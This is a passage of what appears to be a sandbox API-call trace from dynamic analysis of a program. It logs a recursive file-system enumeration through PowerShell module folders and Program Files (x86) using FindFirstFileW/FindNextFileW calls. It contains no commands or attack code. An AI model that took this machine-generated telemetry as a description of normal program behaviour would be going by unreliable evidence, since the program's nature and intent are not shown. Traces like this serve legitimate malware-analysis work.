hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bb8a40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49bb8a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49bb8a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0064.029] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0064.029] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0064.029] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bb8a40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49bb8a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49bb8a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Schema", cAlternateFileName="")) returned 0 [0064.029] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0064.029] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0064.029] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 1 [0064.029] GetLastError () returned 0x12 [0064.029] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\*" (normalized: "c:\\program files\\windowspowershell\\modules\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0064.029] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.030] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0064.030] GetLastError () returned 0x12 [0064.030] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\*" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0064.032] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.032] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49b46620, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49b46620, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0064.032] GetLastError () returned 0x12 [0064.033] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\*" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49b46620, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49b46620, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0064.037] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49b46620, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49b46620, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.037] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49b46620, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49bb8a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49bb8a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1 [0064.038] GetLastError () returned 0x12 [0064.038] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en\\*" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\en\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49b46620, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49bb8a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49bb8a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8920 [0064.074] FindNextFileW (in: hFindFile=0x4d8920, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49b46620, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49bb8a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49bb8a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.075] FindNextFileW (in: hFindFile=0x4d8920, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49b6c780, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea9fba0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea9fba0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.ArchiverProviders.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0064.075] GetLastError () returned 0x12 [0064.075] FindClose (in: hFindFile=0x4d8920 | out: hFindFile=0x4d8920) returned 1 [0064.076] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3850098 | out: hHeap=0xab0000) returned 1 [0064.076] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49b204c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea9fba0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea9fba0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.ArchiverProviders.dll", cAlternateFileName="MI56B7~1.DLL")) returned 1 [0064.077] GetLastError () returned 0x12 [0064.077] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0064.077] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0064.077] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49b46620, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49b46620, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 0 [0064.077] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0064.077] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0064.079] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0064.079] GetLastError () returned 0x12 [0064.080] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\*" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0064.080] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.080] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0064.080] GetLastError () returned 0x12 [0064.081] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\*" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0064.086] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.087] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0064.087] GetLastError () returned 0x12 [0064.087] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\*" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\en-us\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8920 [0064.087] FindNextFileW (in: hFindFile=0x4d8920, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.087] FindNextFileW (in: hFindFile=0x4d8920, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea9fba0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea9fba0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1265e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSGet.Resource.psd1", cAlternateFileName="PSGETR~1.PSD")) returned 1 [0064.087] GetLastError () returned 0x12 [0064.087] FindClose (in: hFindFile=0x4d8920 | out: hFindFile=0x4d8920) returned 1 [0064.087] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0064.087] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet.psd1", cAlternateFileName="POWERS~1.PSD")) returned 1 [0064.087] GetLastError () returned 0x12 [0064.088] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0064.088] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0064.088] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 0 [0064.088] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0064.088] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3850098 | out: hHeap=0xab0000) returned 1 [0064.088] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 0 [0064.088] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0064.088] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0064.089] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b049c0, ftCreationTime.dwHighDateTime=0x1d8b40d, ftLastAccessTime.dwLowDateTime=0x885c340, ftLastAccessTime.dwHighDateTime=0x1d8b435, ftLastWriteTime.dwLowDateTime=0x885c340, ftLastWriteTime.dwHighDateTime=0x1d8b435, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ncftp.exe", cAlternateFileName="")) returned 1 [0064.089] GetLastError () returned 0x12 [0064.089] FindClose (in: hFindFile=0x4d8660 | out: hFindFile=0x4d8660) returned 1 [0064.089] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0064.089] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0xc6ae4110, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6ae4110, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 0 [0064.089] FindClose (in: hFindFile=0x4d8620 | out: hFindFile=0x4d8620) returned 1 [0064.090] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2ab73c0 | out: hHeap=0xab0000) returned 1 [0064.090] FindNextFileW (in: hFindFile=0x4cda50, lpFindFileData=0x2e6f95c | out: lpFindFileData=0x2e6f95c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1434c8c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1434c8c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0064.090] GetLastError () returned 0x12 [0064.090] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\*" (normalized: "c:\\program files (x86)\\*"), lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1434c8c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1434c8c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName=".", cAlternateFileName="")) returned 0x4d8620 [0064.090] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1434c8c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1434c8c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="..", cAlternateFileName="")) returned 1 [0064.090] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc6b0a270, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6b0a270, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0064.090] GetLastError () returned 0x12 [0064.090] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\*" (normalized: "c:\\program files (x86)\\common files\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc6b0a270, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6b0a270, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8660 [0064.090] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc6b0a270, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6b0a270, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.090] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15a0fb20, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x15a0fb20, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x15a0fb20, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0064.090] GetLastError () returned 0x12 [0064.091] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\DESIGNER\\*" (normalized: "c:\\program files (x86)\\common files\\designer\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15a0fb20, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x15a0fb20, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x15a0fb20, 